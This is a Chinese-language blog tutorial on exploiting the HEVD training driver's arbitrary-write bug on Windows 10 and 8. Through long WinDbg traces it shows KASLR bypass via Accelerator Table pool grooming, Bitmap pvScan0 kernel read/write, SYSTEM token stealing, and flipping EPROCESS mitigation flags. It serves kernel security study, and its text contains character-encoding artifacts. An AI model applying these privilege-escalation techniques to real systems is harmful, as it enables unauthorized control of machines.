HEVD內(nèi)核漏洞訓(xùn)練——陪Windows玩兒
前言
前段時(shí)間在博客寫了一篇關(guān)于HEVD內(nèi)核漏洞利用訓(xùn)練的一篇文章,感覺當(dāng)時(shí)做HEVD收獲很大,非常推薦這個(gè)訓(xùn)練,這是HackSys Team做的一個(gè)Kernel Driver,里面包含了大量的常見漏洞,而且漏洞原理都非常簡(jiǎn)單,考驗(yàn)的就是各種各樣的利用方法,推薦在Win10下嘗試,有各種各樣經(jīng)典的利用方法,比如gsharedInfo,GdiSharedHandleTable,NtAllocateVirtualMemory,替換token的shellcode等等。
對(duì)這個(gè)訓(xùn)練的研究學(xué)習(xí)會(huì)對(duì)內(nèi)核漏洞的原理,利用方式,Windows下很多常見的數(shù)據(jù)結(jié)構(gòu)有一個(gè)初步的了解,從此打開Ring0的大門。
Windows在高版本中采取了越來越多的保護(hù)措施來防止漏洞利用,這讓攻擊變得越來越有意思,很多防護(hù)限制讓很多漏洞利用變得難上加難,在這篇文章中,我將針對(duì)HEVD的一個(gè)任意內(nèi)存讀寫漏洞,利用Cn33liz的一個(gè)Exploit來完成攻擊并分析整個(gè)過程。
這次攻擊有一個(gè)主角,那就是Bitmap,本文主要分析在最新Win10版本以及Win8下,Bitmap到底有多強(qiáng)大的威力。
在本文中,我將首先簡(jiǎn)單介紹一下Bitmap,最新Win10的KASLR機(jī)制,對(duì)Bitmap造成的影響,以及如何利用Accelerator Table來bypass KASLR。接下來我將和大家分享如何用SetBitmap和GetBitmap來完成攻擊,以及攻擊的主角,_SURFOBJ中的一個(gè)關(guān)鍵結(jié)構(gòu)pvScan0。然后我將和大家分享Win10中的一些疑點(diǎn),可能是坑,反正至今仍有一些疑惑在里面,接下來,我將結(jié)合我的偶像MJ0011在HITCON上一個(gè)關(guān)于Win8安全特性的演講,移步Win8,來看看Bitmap的超級(jí)殺傷力,以及這些安全特性的防護(hù)機(jī)制。文末我將把我在Win10和Win8下實(shí)驗(yàn)的源碼放出來,這個(gè)源碼中包含對(duì)抗Win10和Win8的防護(hù)機(jī)制的一些過程,是基于Cn33liz大牛的源碼改寫。文中所有的測(cè)試都是基于我改寫的源碼完成的,相應(yīng)的注釋都在源碼中,改動(dòng)源碼倉(cāng)促也不夠漂亮,望大家海涵。因?yàn)槎啻沃匦抡{(diào)試,地址有變化,可以結(jié)合文字一起研究學(xué)習(xí)。
關(guān)于這個(gè)漏洞成因,我不再進(jìn)行詳細(xì)的講解,HackSys team的Github項(xiàng)目里有詳細(xì)說明,這個(gè)任意寫漏洞就是可以向指定地址寫進(jìn)指定值,而沒有對(duì)寫入地址和寫入內(nèi)容的合法性進(jìn)行檢查。測(cè)試環(huán)境是最新版Win10。
陪Win10玩兒--CreateBitmap和KASLR
我之前的那篇HEVD的分享中,是在Windows7下面完成的,在Win7下面,我們擁有很多自由,可以向很多特殊的位置、結(jié)構(gòu)寫入shellcode,并且在內(nèi)核態(tài)完成shellcode的執(zhí)行。但是在Win10中,增加了茫茫多的限制,很多利用變得很困難,shellcode似乎變得不太可行。
而在FuzzySecurity中也提到了data attack,在眾多限制下,Bitmap給我們提供了一個(gè)極大的便捷,這種攻擊手段威力很強(qiáng),非常有趣。
在Windows10中,我們需要獲取Bitmap的內(nèi)核地址,然后利用Bitmap這種_SURFOBJ結(jié)構(gòu)的一個(gè)特殊成員變量來完成攻擊,也就是我們后面要提到的pvScan0。
在之前版本的Win10中,可以通過一個(gè)特殊的結(jié)構(gòu)GdiSharedHandleTable來獲得Bitmap的內(nèi)核對(duì)象地址。這個(gè)GdiSharedHandleTable是PEB結(jié)構(gòu)體中的一個(gè)結(jié)構(gòu)。而里面存放的內(nèi)容是一個(gè)GDICELL64結(jié)構(gòu)。關(guān)于在老版本W(wǎng)in10中利用GdiSharedHandleTable如何來獲得Bitmap并進(jìn)行攻擊我不再詳述,在文章末尾,我會(huì)給出一篇非常棒的技術(shù)文章,里面詳述了這種攻擊方式。
在新版本W(wǎng)in10中,fix了這種方法,GdiSharedHandleTable獲得的地址,不再是一個(gè)有效的pkernelAddress,也就是說,即使我們通過這種方式和createbitmap的handle獲得了一個(gè)地址,然而并不是真正的pkernelAddress,當(dāng)然我們的主角pvScan0也不正確。
- kd> dt @$PEB nt!_PEB GdiSharedHandleTable //
- +0x0f8 GdiSharedHandleTable : 0x00000000`00e00000 Void
- kd> db 0x00000000`00e00000+0x0b69*0x18 L8
- 00000000`00e111d8 69 0b c2 ff ff ff ff ff i.......
- kd> dd ffffffffffc20b69
- ffffffff`ffc20b69 ???????? ???????? ???????? ????????
- kd> dd ffff9f9683d01000
- ffff9f96`83d01000 270501ac 00000000 00000000 00000000
- ffff9f96`83d01010 00000000 00000000 00000000 00000000
可以看到,在通過GdiSharedHandleTable獲得的Bitmap的內(nèi)核地址是一個(gè)為開辟的內(nèi)核空間和真正的Bitmap內(nèi)核地址有所區(qū)別。這時(shí)候,gSharedInfo出現(xiàn)了,這個(gè)gSharedInfo是一個(gè)非常經(jīng)典的結(jié)構(gòu),在很多kernel exploitation都出現(xiàn)過,它其中包含著內(nèi)核結(jié)構(gòu),我們可以通過它獲得內(nèi)核表,然后通過計(jì)算偏移得到內(nèi)核對(duì)象地址。
解決這種問題的方法就是用AcceleratorTable加速鍵表,我之前的內(nèi)核漏洞調(diào)試筆記之二調(diào)試的CVE-2015-2546就是用的加速鍵表,制造一個(gè)穩(wěn)定的內(nèi)存空洞,連續(xù)申請(qǐng)釋放內(nèi)存,直到兩次申請(qǐng)釋放的AccleratorTable的內(nèi)核句柄相同,則再申請(qǐng)相同大小的bitmap,這樣就能獲得GDI對(duì)象了,再通過這個(gè)對(duì)象的phead就是pkernelAddress。
如何獲得呢?在這個(gè)handleentry里有一個(gè)aheList,其中包含了一個(gè)phead對(duì)象,它就是指向pkerneladdress的。來看一下gSharedInfo的地址,這里我也不知道為什么,感覺可能是Win10很多win32k的結(jié)構(gòu)體不透明化了,看不到tagSharedInfo的結(jié)構(gòu)體,感覺像被隱藏了。
- kd> ?user32!gsharedinfo //獲得gsharedinfo的地址值
- Evaluate expression: 140725741012608 = 00007ffd`43cdc680
獲得了gSharedInfo的地址之后,我們可以通過Accelerator Table的handle,獲取到gSharedInfo結(jié)構(gòu)中的aheList對(duì)應(yīng)的內(nèi)核句柄值。
- kd> dd 7ffd43cdc680 //查看地址值的內(nèi)容
- 00007ffd`43cdc680 01360700 00000000 011e0000 00000000
- kd> dt win32k!tagSHAREDINFO //由于調(diào)試時(shí)tagSHAREDINFO不透明,這里只能
- //從網(wǎng)上拷貝一個(gè)方便說明
- +0x000 psi : tagSERVERINFO
- +0x008 aheList : _HANDLEENTRY
- kd> dq 7ffd43cdc680+0x8 L1 //+0x8位置的HANDLEENTRY就是我們要的表
- 00007ffd`43cdc688 00000000`011e0000
這樣就能得到句柄實(shí)際內(nèi)核地址的表了,也就是指向GDI對(duì)象的表,這里就要計(jì)算對(duì)應(yīng)的偏移了,計(jì)算方法其實(shí)和之前GdiSharedHandleTable很像,那個(gè)算對(duì)應(yīng)GDICELL64地址的計(jì)算方法是:
GdiSharedHandleTable+(handle & 0xffff)*sizeof(GDICELL64)
這里就用_HANDLETABLE_ENTRY + (Accel & 0xffff)*sizeof(Accel)算出地址,這里Accel的值是:
- kd> r eax
- eax=1700b9
- kd> p
- 0033:00007ff6`956112d1 488d1449 lea rdx,[rcx+rcx*2]//計(jì)算handle的值
- kd> p
- 0033:00007ff6`956112d5 488bc8 mov rcx,rax
- kd> r rdx
- rdx=000000000000022b// handle的值為22b
- kd> dd 11e0000+22b*8 L1 // 11e0000是剛才獲得的HANDLENTRY,計(jì)算出偏移
- // 指向的就是GDI對(duì)象
- 00000000`011e1158 81be7000 ffffbad3
緊接著調(diào)用DestroyAcceleratorTable釋放這個(gè)加速鍵表,可以看到對(duì)應(yīng)句柄內(nèi)核指針的值也被釋放了。注意這里申請(qǐng)的Accelerator Table的大小是700,同樣如果制造出一個(gè)穩(wěn)定的hole之后,申請(qǐng)bitmap的大小也是700。
- kd> p
- 0033:00007ff6`956112d8 488b5cd500 mov rbx,qword ptr [rbp+rdx*8]
- kd> p
- 0033:00007ff6`956112dd ff15451f0000 call qword ptr [00007ff6`95613228]
- kd> p
- 0033:00007ff6`956112e3 babc020000 mov edx,2BCh
- kd> dd 11e0000+22b*8// 對(duì)應(yīng)索引的位置GDI對(duì)象被釋放
- 00000000`011e1158 0000042f 00000000
可以看到,對(duì)應(yīng)位置存放的GDI對(duì)象也釋放掉了,再次通過Create申請(qǐng)Accelerator Table。
- 0033:00007ff6`956112eb ff152f1f0000 call qword ptr [00007ff6`95613220]
- kd> p//返回值eax
- 0033:00007ff6`956112f1 0fb7c8 movzx ecx,ax
- kd> r rax
- rax=00000000001800b9
- kd> p
- 0033:00007ff6`956112f4 488d1449 lea rdx,[rcx+rcx*2]
- kd> p
- 0033:00007ff6`956112f8 488bc8 mov rcx,rax
- kd> r rdx//計(jì)算獲得handle,和上一次申請(qǐng)的handle值一樣
- rdx=000000000000022b
- kd> dd 11e0000+22b*8//查看pkernelAddress
- 00000000`011e1158 81be7000 ffffbad3
- kd> dd ffffbad381be7000 l90//對(duì)應(yīng)位置存放的值,+0x0位置就是phead
- //GdiSharedHandleTable被fix,可以用這個(gè)方法
- ffffbad3`81be7000 001800b9 00000000 00000000 00000000
- ffffbad3`81be7010 00000000 00000000 000002bc 00000000
句柄雖然改變但是對(duì)應(yīng)索引位置在shared info handle entry的值仍然是相同的,這樣,再次在相同位置申請(qǐng)bitmap,首先釋放,來看下pkernelAddress的值:
- kd> p
- 0033:00007ff6`95611311 ff15111f0000 call qword ptr [00007ff6`95613228]
- kd> p
- 0033:00007ff6`95611317 33c9 xor ecx,ecx
- kd> dd ffffbad381be7000//查看GDI對(duì)象的內(nèi)容也被釋放
- ffffbad3`81be7000 ???????? ???????? ???????? ????????
- ffffbad3`81be7010 ???????? ???????? ???????? ????????
- ffffbad3`81be7020 ???????? ???????? ???????? ????????
指向的空間也被釋放了,隨后通過CreateBitmap申請(qǐng)bitmap,大小同樣是700,來占用Accelerator制造的穩(wěn)定內(nèi)存空洞。調(diào)用CreateBitmap之后占用了內(nèi)存空洞。這樣,我們直接找到ffffbad381be7000這個(gè)GDI對(duì)象。
- kd> p//調(diào)用CreateBitmap創(chuàng)建Bitmap
- 0033:00007ff6`95611345 ff15dd1c0000 call qword ptr [00007ff6`95613028]
- kd> p//創(chuàng)建成功返回
- 0033:00007ff6`9561134b 488906 mov qword ptr [rsi],rax
- kd> dd ffffbad381be7000//查看原來Accelerator Table的內(nèi)核地址位置的值
- ffffbad3`81be7000 96050bd0 ffffffff 00000000 00000000
可以看到,我們成功獲得了Bitmap的pkernelAddress,就是0xffffffff96050bd0,這樣,我們就成功在KASLR和fix GdiSharedHandleTable下,完成了bitmap pkernelAddress的獲取。
SetBitmap/GetBtimap和pvScan0
利用gSharedInfo獲取aheList,從而得到Accelerator Table在gshareInfo中的GDI對(duì)象從而獲得內(nèi)核地址,利用Accelerator Table制造穩(wěn)定的內(nèi)存空洞,最后繞過KASLR和獲取Bitmap的pkernelAddress的目的就是獲得pvScan0這個(gè)結(jié)構(gòu),這個(gè)是Bitmap之所以成為data attack的核心。
這里我要提一下,在調(diào)試過程中,我們需要用__asm int 3來下斷點(diǎn),但是在64位下VS不支持內(nèi)聯(lián)匯編,因此我們?cè)陧?xiàng)目中創(chuàng)建一個(gè).asm文件,實(shí)現(xiàn)int 3功能,再將其編譯,在項(xiàng)目主文件中用Int_3()來下軟中斷(詳見我的源碼),這樣我們?cè)赟etBitmap下斷點(diǎn),首先命中GDI32!SetBitmapBitsStub:
- kd> p
- GDI32!SetBitmapBitsStub+0x1c:
- 0033:00007fff`bd5b44ac 488bd9 mov rbx,rcx
- kd> p//調(diào)用GDI32的IsTextOutAPresent -> IsSetWorldTransformImplPresent函數(shù)
- GDI32!SetBitmapBitsStub+0x1f:
- 0033:00007fff`bd5b44af e878b50000 call GDI32!IsTextOutAPresent (00007fff`bd5bfa2c)
隨后會(huì)到達(dá)call IsTextOutAPresent函數(shù)調(diào)用,這個(gè)函數(shù)在GDI32的實(shí)現(xiàn)是IsSetWorldTransformmImplPresent。
- char IsSetWorldTransformImplPresent()
- {
- char result; // al@2
- char v1; // [sp+30h] [bp+8h]@5
- if ( dword_18002E670 == 1 )//dword_18002E670檢查是否為1
- {
- result = dword_18002E670;
- }
- else if ( dword_18002E670 == 2 || (v1 = 0, ApiSetQueryApiSetPresence((__int64)L"LN", (__int64)&v1) < 0) )
- {
- result = 0;
- }
- else
- {
- result = v1;
- dword_18002E670 = 2 - (v1 != 0);
- }
- return result;
- }
這個(gè)函數(shù)主要是對(duì)dword_18002E670這個(gè)值進(jìn)行判斷,這個(gè)值是hmod ext ms win gdi internal desktop l1.1.0.dll+0x8位置的一個(gè)結(jié)構(gòu)體變量,若為1則直接返回。
- kd> p
- GDI32!IsUpdateColorsPresent+0x4://獲取dll+0x8位置的值
- 0033:00007fff`bd5bfa30 8b0d3aec0100 mov ecx,dword ptr [GDI32!_hmod__ext_ms_win_gdi_internal_desktop_l1_1_0_dll+0x8 (00007fff`bd5de670)]
- kd> dd 00007fff`bd5de670//這個(gè)位置的值為1,后面是dll函數(shù)偏移
- 00007fff`bd5de670 00000001 00000000 00000000 00000000
- 00007fff`bd5de680 ba17ba20 00007fff ba174230 00007fff
- 00007fff`bd5de690 ba1765d0 00007fff ba1eafa0 00007fff
- kd> p
- GDI32!IsUpdateColorsPresent+0xa://將這個(gè)值和1作比較
- 0033:00007fff`bd5bfa36 83f901 cmp ecx,1
- kd> r ecx
- ecx=1
這個(gè)可能是判斷ext_ms_win_gdi_internal_desktop_l1.1.0.dll的加載情況,_imp_SetBitMapBits就鏈在這個(gè)dll中,隨后會(huì)跳轉(zhuǎn)。到zwGdiSetBitmapBits中。
- kd> p //調(diào)用_imp_SetBitmapBits函數(shù)
- GDI32!SetBitmapBitsStub+0x30:
- 0033:00007fff`bd5b44c0 ff15c2be0200 call qword ptr [GDI32!_imp_SetBitmapBits (00007fff`bd5e0388)]
- kd> t//跳轉(zhuǎn)到NtGdiSetBitmapBits
- gdi32full!SetBitmapBits:
- 0033:00007fff`ba17bcf0 48ff2509290900 jmp qword ptr [gdi32full!_imp_NtGdiSetBitmapBits (00007fff`ba20e600)]
- kd> p
- win32u!ZwGdiSetBitmapBits:
- 0033:00007fff`ba2d26f0 4c8bd1 mov r10,rcx
- //隨后會(huì)進(jìn)入ZwGdiSetBitmap
- .text:0000000180003330 public ZwGdiSetBitmapDimension
- .text:0000000180003330 ZwGdiSetBitmapDimension proc near ; DATA XREF: .rdata:000000018000A544_x0019_o
- .text:0000000180003330 ; .rdata:off_18000C608_x0019_o ...
- .text:0000000180003330 mov r10, rcx
- .text:0000000180003333 mov eax, 1118h
- .text:0000000180003338 test byte ptr ds:7FFE0308h, 1
- .text:0000000180003340 jnz short loc_180003345
- .text:0000000180003342 syscall
- .text:0000000180003344 retn
syscall是AMD CPU下的sysenter,以此進(jìn)入內(nèi)核層,由于64位下沒有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系統(tǒng)下啟用了四個(gè)新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相關(guān)信息,可以通過rdmsr c0000082的方法查看到syscall跳轉(zhuǎn)地址。這個(gè)地址正是nt!KiSystemCall64的入口地址。
- kd> rdmsr c0000082
- msr[c0000082] = fffff801`7cb740c0
- nt!KiSystemCall64:
- 0033:fffff801`7cb740c0 0f01f8 swapgs
- 0033:fffff801`7cb740c3 654889242510000000 mov qword ptr gs:[10h],rsp
到此,我們進(jìn)入SetBitmap的內(nèi)核態(tài),之所以pvScan0這么重要,是因?yàn)镾etBitmap會(huì)對(duì)pvScan0指向的內(nèi)容寫數(shù)據(jù),GetBitmap會(huì)獲取pvScan0指向的內(nèi)容。這樣,我們可以設(shè)置一個(gè)Manager Bitmap(以下稱為M)和一個(gè)Work Bitmap(以下稱為W),將M的pvScan0修改成W的pvScan0地址,這樣每次就能用在M上調(diào)用SetBitmap將W的pvScan0內(nèi)容修改成我們想要讀或者寫的地址,再調(diào)用Get/Set Bitmap來向指定地址讀取/寫入數(shù)據(jù)了。這么說有點(diǎn)亂,來看一下整個(gè)過程。
通過AcceleratorTable制造內(nèi)存空洞占位獲取Bitmap的pkernelAddress之后,可以獲取到pvscan0的值,其中M存放W的pvscan0所存放的地址,而W的pvscan0用于最后寫入相關(guān)的內(nèi)容,這樣我們調(diào)用setbitmapbits函數(shù)的時(shí)候,會(huì)將M的pvscan0里存放地址指向的值修改為要寫入的地址。
- kd> dq ffffbad383ae9050 L1 // M的pvScan0,現(xiàn)在指向W,這樣每次修改,相當(dāng) //于修改W的pvScan0
- ffffbad3`83ac8050 ffffbad3`83aeb050
- kd> dq ffffbad383aeb050 L1//W的pvScan0,所在地址值就是M的pvScan0值
- ffffbad3`83ac8050 ffffe28d`12762af0//要修改的就是這個(gè)值,向這個(gè)值的內(nèi)容
- //讀取/寫入數(shù)據(jù)
這里就會(huì)將ffffbad383aeb050中的值改寫,因此在這里下內(nèi)存寫入斷點(diǎn)。
- kd> ba w1 ffffbad383aeb050//向W的pvScan0下內(nèi)存寫入斷點(diǎn)
- kd> p
- Breakpoint 0 hit
- win32kfull!memmove+0x1cf://中斷在win32kfull!memmove函數(shù)中
- ffffbab6`0b940f0f 75ef jne win32kfull!memmove+0x1c0 (ffffbab6`0b940f00)
- kd> bl
- 0 e ffffbad383aeb050 w 1 0001 (0001)
- kd> kb
- RetAddr:ArgstoChild : Call Site
- ffffbab6`0b88405c : 00000000`00fff8a0 00000000`00000000 00000000`00000a9a ffffbab6`0bbbf1da : win32kfull!memmove+0x1cc
- ffffbab6`0b883e1a : ffffbad3`83ae9000 00000000`00000000 ffffffff`00000008 fffff801`00000704 : win32kfull!bDoGetSetBitmapBits+0x168
- 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!GreSetBitmapBits+0x17a
- kd> dq ffffbad383adc050 L1 //這里會(huì)寫入新的pvScan0,這個(gè)值是當(dāng)前進(jìn)程的 //token地址
- ffffbad3`83aeb050 ffffe28d`12762b58
- kd> !process 0 0 //查看當(dāng)前進(jìn)程
- PROCESS ffffe28d12762800
- SessionId: 1 Cid: 10cc Peb: 011cb000 ParentCid: 1124
- DirBase: 48d5b000 ObjectTable: ffffa709d16d1640 HandleCount: <Data Not Accessible>
- Image: Stop_by_win10.exe
- kd> dt nt!_EPROCESS Token ffffe28d12762800
- +0x358 Token : _EX_FAST_REF
- kd> dq ffffe28d12762800+358 L1//看看token值,就是pvScan0的值
- ffffe28d`12762b58 ffffa709`d1903996
在Win10中,絕大多數(shù)的win32k.sys實(shí)現(xiàn)都在win32full里完成,這里利用M的pvScan0完成了對(duì)W的pvScan0值的修改,使之指向了當(dāng)前進(jìn)程的Token,接下來只需要調(diào)用GetBitmap/SetBitmap通過W的pvScan0,就可以完成對(duì)Token的讀取和修改,從而完成提權(quán)。
- kd> !process 0 4 //獲取System _EPROCESS結(jié)構(gòu)
- **** NT ACTIVE PROCESS DUMP ****
- PROCESS ffffe28d0f662040
- SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
- DirBase: 001aa000 ObjectTable: ffffa709c88032c0 HandleCount: <Data Not Accessible>
- Image: System
- kd> dq ffffe28d0f662040+358 L1 //得到System Token值
- ffffe28d`0f662398 ffffa709`c88158ad
- kd> p//調(diào)用setBitmap將這個(gè)值寫入當(dāng)前進(jìn)程的地址
- 0033:00007ff7`9dd2217f 488bce mov rcx,rsi
- kd> g
- Break instruction exception - code 80000003 (first chance)
- 0033:00007ff7`9dd222b0 cc int 3
- kd> !process //當(dāng)前進(jìn)程的_EPROCESS
- PROCESS ffffe28d12cb2080
- SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124
- DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible>
- Image: Stop_by_win10.exe
- kd> dq ffffe28d12cb2080+358 L1 //利用SetBitmap替換后,當(dāng)前進(jìn)程Token變成了 //System Token,提權(quán)完成
- ffffe28d`12cb23d8 ffffa709`c88158ad
我和大家分享了pvScan0在Bitmap這種data attack中的核心地位,Bitmap的pkernelAddress的獲取方法和如何通過pvScan0完成攻擊,接下來,我將結(jié)合偶像MJ0011的PPT,來講一下Win10的一些坑,以及回歸Win8下來看一下MJ0011的PPT中介紹的一些防護(hù)機(jī)制,和Bitmap的威力。
被Win10吊打的日子
在MJ0011的PPT中介紹了幾種防護(hù)機(jī)制,比如禁零頁,禁Win32k調(diào)用,SMEP,ExPoolWithTagNX等等。本來剛開始想在Win10下進(jìn)行實(shí)驗(yàn),但是發(fā)現(xiàn)Win10下有很多奇怪的坑。這里簡(jiǎn)單提一下幾種防護(hù)機(jī)制:
1、禁零頁,NtAllocateVirtualMmemory是現(xiàn)在常用的內(nèi)核漏洞利用手法,Win8 _EPROCESS增加了一比特的Flags.VdmAllowed,當(dāng)為0時(shí)禁用,當(dāng)為1時(shí)可用。
2、禁Win32k,Win32k存在很多漏洞,比如UAF,我在前面兩個(gè)經(jīng)典內(nèi)核漏洞調(diào)試的分享中都是Win32k出的問題,這里通過_EPROCESS結(jié)構(gòu)增加一比特的Flags2.DisallowWin32kSystemCalls禁用調(diào)用。
3、SMEP,在內(nèi)核漏洞利用中,通常是利用內(nèi)核態(tài)的一些失誤執(zhí)行用戶態(tài)申請(qǐng)的空間存放的shellcode,這里直接通過SMEP禁止在內(nèi)核態(tài)執(zhí)行用戶態(tài)空間的代碼。這里,我將以禁Win32k調(diào)用和禁零頁來做實(shí)驗(yàn),利用的就是Bitmap來修改這兩個(gè)比特的值,看看能不能繞過禁用機(jī)制,首先來看一下當(dāng)前進(jìn)程,以及對(duì)應(yīng)的兩個(gè)值。
- kd> !process
- PROCESS ffffe28d12cb2080
- SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124
- DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible>
- Image: Stop_by_win10.exe
- kd> dt nt!_EPROCESS VdmAllowed ffffe28d12cb2080
- +0x304 VdmAllowed : 0y0//標(biāo)志位為0,禁用零頁
- kd> dt nt!_EPROCESS DisallowWin32kSystemCalls ffffe28d12cb2080
- +0x300 DisallowWin32kSystemCalls : 0y0//標(biāo)志位為1,默認(rèn)不禁用Win32k
- kd> dd ffffe28d12cb2080+300 L4 //查看一下Flags2和Flags的值
- ffffe28d`12cb2380 0000d000 144d0c01 a1beb1e1 01d288e0
可以看到,在當(dāng)前進(jìn)程Win32k API是不禁用的,也就是說,我們?nèi)匀豢梢灾苯诱{(diào)用Win32k的API,而NtAllocateVirtualMemory則處于禁用狀態(tài)。對(duì)于Flags來說是0000d0000,F(xiàn)lags2來說是144d0c01,這樣把它們轉(zhuǎn)換成二進(jìn)制,把對(duì)應(yīng)比特位置換為1(這個(gè)內(nèi)容可以在我的源碼中看到),然后賦值給各自的Flags。
- kd> r r13//獲取兩個(gè)Flags值,并且修改比特位之后的值
- r13=a1beb1e1164d0c00
- kd> r r14
- r14=144d0c018000d000
- kd> g//命中軟中斷
- Break instruction exception - code 80000003 (first chance)
- 0033:00007ff7`9dd222b0 cc int 3
- kd> g
- Break instruction exception - code 80000003 (first chance)
- 0033:00007ff7`9dd222b0 cc int 3
- kd> dd ffffe28d12cb2080+300 L4//修改后,通過SetBitmap寫入偏移
- ffffe28d`12cb2380 8000d000 164d0c01 a1beb1e1 01d288e0
這里我采用了Win7零頁分配的方法,handle選擇0xffffffffffffffff,但是發(fā)現(xiàn)在Win10中,會(huì)調(diào)用ObpReferenceObjectByHandleWithTag函數(shù)Check handle,如果不是一個(gè)有效的handle,則直接返回,NTSTATUS直接報(bào)錯(cuò)。
- kd> p
- nt!MiAllocateVirtualMemory+0x7b8:
- fffff801`7cee27c8 498bca mov rcx,r10
- kd> p //ObpReferenceObjectByHandleWithTag check handle
- nt!MiAllocateVirtualMemory+0x7bb:
- fffff801`7cee27cb e8a0070100 call nt!ObpReferenceObjectByHandleWithTag (fffff801`7cef2f70)
- kd> p
- nt!MiAllocateVirtualMemory+0x7c0:
- fffff801`7cee27d0 89442464 mov dword ptr [rsp+64h],eax
- kd> r eax//沒有這個(gè)handle則返回NTSTATUS
- eax=c0000008
- // ObpReferenceObjectByHandleWithTag 檢查邏輯
- if ( (BugCheckParameter1 & 0x80000000) != 0i64 )
- {
- if ( BugCheckParameter1 == -1i64 )//如果handle值為0xfff....ff
- {
- if ( v9 != PsProcessType && v9 )
- {
- LODWORD(v12) = -1073741788;
- }
- else
- {
- v37 = *(_QWORD *)(v8 + 184);
- if ( v11 & 0xFFE00000 && a4 )
- {
- LODWORD(v12) = -1073741790;
- }
- ……
- }
- return (unsigned int)v12; // C0000008
- }
- if ( BugCheckParameter1 == -2i64 )
- {
- }
- }
這樣,我們就只能修改代碼通過OpenProcess獲得當(dāng)前進(jìn)程handle,并且將VdmAllowed置1,但是發(fā)現(xiàn)即使NTSTATUS返回0,也就是STATUS_SUCCESS,內(nèi)存狀態(tài)可寫,只需要memset初始化內(nèi)存即可。
- kd> !process
- PROCESS ffffe28d12fb0080
- SessionId: 1 Cid: 10b0 Peb: 00ddb000 ParentCid: 1124
- DirBase: 51685000 ObjectTable: ffffa709d9138200 HandleCount: <Data Not Accessible>
- Image: Stop_by_win10.exe
- kd> dt nt!_EPROCESS VdmAllowed ffffe28d12fb0080 //當(dāng)前VdmAllowed為1
- +0x304 VdmAllowed : 0y1
- kd> p
- 0033:00007ff7`16e7204c ff55a0 call qword ptr [rbp-60h]
- kd> p
- 0033:00007ff7`16e7204f 0f28b424e0040000 movaps xmm6,xmmword ptr [rsp+4E0h]
- kd> p
- 0033:00007ff7`16e72057 85c0 test eax,eax
- kd> r eax//NTSTATUS返回0,也就是STATUS_SUCCESS
- eax=0
- kd> dd 4600000000//等待初始化的內(nèi)存
- 00000046`00000000 ???????? ???????? ???????? ????????
- 00000046`00000010 ???????? ???????? ???????? ????????
同樣,我們修改Win32k為1,這樣就禁用了win32k調(diào)用,可以發(fā)現(xiàn),在禁用后,會(huì)阻止win32k的調(diào)用,從而無法初始化cmd。關(guān)于win32k調(diào)用的邏輯后面會(huì)講到。
回歸Win8看防護(hù)之NtAllocateVirtualMemory
接下來我們回到Win8 x86,來看一下NtAllocateVirtualMemory的防護(hù)到底是怎樣的。這里請(qǐng)使用文末我修改后的適用于win8 x86的代碼。首先是禁用零頁申請(qǐng)內(nèi)存。我們首先在禁用零頁時(shí)調(diào)試,首先進(jìn)入內(nèi)核態(tài),從ntdll進(jìn)入nt。
- kd> p
- 001b:77d4f04d e803000000 call 77d4f055//調(diào)用NtAllocateVirtualMemory
- kd> t
- 001b:77d4f055 8bd4 mov edx,esp
- 001b:77d4f055 8bd4 mov edx,esp
- 001b:77d4f057 0f34 sysenter//x86下用sysenter進(jìn)入內(nèi)核態(tài)
- 001b:77d4f059 c3 ret
在nt!NtAllocateVirtualMemory下斷點(diǎn)跟蹤,在入口處會(huì)先將Handle、BaseAddress等內(nèi)容傳入寄存器(用于各種檢查,比如對(duì)Handle檢查合法性,在之前已經(jīng)提過),接下來會(huì)通過fs:[0x124]獲取到_KTHRAD結(jié)構(gòu)
- kd> p
- nt!NtAllocateVirtualMemory+0x34://獲取KTHREAD結(jié)構(gòu)
- 81a891a2 648b3d24010000 mov edi,dword ptr fs:[124h]
- kd> p
- nt!NtAllocateVirtualMemory+0x3b:
- 81a891a9 897da8 mov dword ptr [ebp-58h],edi
- kd> r edi
- edi=86599bc0
- kd> dt nt!_KTHREAD 86599bc0
- +0x000 Header : _DISPATCHER_HEADER
- +0x010 SListFaultAddress : (null)
之后會(huì)將_KTHREAD+0x80偏移的值交給eax寄存器,偏移加0x80實(shí)際上就是EPROCESS結(jié)構(gòu),這個(gè)位置屬于APC域,這個(gè)位置在KTHREAD+0x70的位置,而EPROCESS又保存在KAPC_STATE+0x10的位置
- kd> p//edi是KTHREAD,eax的值是EPROCESS
- nt!NtAllocateVirtualMemory+0x3e:
- 81a891ac 8b8780000000 mov eax,dword ptr [edi+80h]
- kd> p
- nt!NtAllocateVirtualMemory+0x44:
- 81a891b2 8945b0 mov dword ptr [ebp-50h],eax
- kd> r eax
- eax=85a44040
- kd> !process
- PROCESS 85a44040 SessionId: 1 Cid: 0860 Peb: 7f74d000 ParentCid: 0f08
- DirBase: 3df14300 ObjectTable: 8c173740 HandleCount: <Data Not Accessible>
- Image: Stop_by_win10.exe
- kd> dt nt!_KTHREAD ApcState//偏移加0x70
- +0x070 ApcState : _KAPC_STATE
- kd> dt nt!_KAPC_STATE//偏移加0x10,一共是0x80,對(duì)應(yīng)的位置是EPROCESS
- +0x000 ApcListHead : [2] _LIST_ENTRY
- +0x010 Process : Ptr32 _KPROCESS
接下來我們單步跟蹤,到達(dá)一處判斷,這里會(huì)將BaseAddress和0x10000作比較,小于則跳轉(zhuǎn)到另一處判斷
- kd> p
- nt!NtAllocateVirtualMemory+0x9b7:
- 81a89b25 3bd0 cmp edx,eax
- kd> r edx
- edx=00000060
- kd> r eax
- eax=00010000
- kd> p
- nt!NtAllocateVirtualMemory+0x9b9://如果申請(qǐng)地址值小于0x1000,則跳轉(zhuǎn)
- 81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384)
- kd> p
- nt! ?? ::NNGAKEGL::`string'+0x19d1a:
- 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h
- kd> dd edi+c4 L1//edi+0C4就是Flags
- 85a44104 144d0c01
- kd> p
